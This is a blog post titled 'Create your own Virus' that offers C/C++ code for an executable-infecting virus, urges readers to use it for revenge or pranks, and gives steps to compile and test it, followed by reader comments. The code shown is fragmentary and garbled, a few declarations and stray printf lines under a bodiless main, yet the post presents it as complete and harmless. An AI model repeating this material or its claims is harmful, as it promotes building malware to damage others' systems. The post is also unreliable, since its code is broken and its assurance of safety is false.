Create your own Virus

Is your computer completely virus free? If it is then you have really done a great job in maintaining it. So many different viruses have been produced over the years that even it is difficult for the Anti Viruses to detect and delete it.

There are many different kinds of viruses some self replicating and some not. Well, if you also like to create your own virus, you can easily do so. I am providing you with a C/C++ code implementing which you can take revenge from your enemy, play prank on your friends or just let it free among the other viruses in the world. And yes it will not harm you.

This is the code to create your own virus:

FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;

void main()
if(host==NULL) goto next;
printf(“Infecting %s\n”,ffblk.ff_name,a);
printf(“DONE! (Total Files Infected= %d)”,a);
printf(“TIME TAKEN=%f SEC\n”,

This is how you can compile the code:

1.    You require Borland TC 3.0, copy the code into the compiler and press Alt+F9, it will compile the code.

2.    To generate the exe file of the virus press F9. Remember, Do Not Press CTRL+F9 as this will infect your system also.

3.    Note the size of the generated exe file in Bytes.

4.    Modify the value of X (which is 89088 initially) in the code above with the size noted in above step.

5.    Go to step 1 and step 2 again. The exe file obtained now is the Virus and is ready to infect other systems.

To Test:

1.    Make a new folder and put some (any) exe files in it.

2.    Also put this virus in it.

3.    Run the virus and you will notice that the other exe files will get infected.

4.    All the infected files are ready to reinfect.

5 Replies to “Create your own Virus”

  1. This code will produce an infected file which will infect all the other exe files placed in the same folder which in turn will be able the corrupt the other exe files. The process will go on.

  2. I follow your posts for quite a long time and must tell you that your posts always prove to be of a high value and quality for readers.

  3. I created a website for a place where I no longer work. Is there any way I can get rid of it even though they’ve changed the pssword I used to use to make changes to the site?

Leave a Reply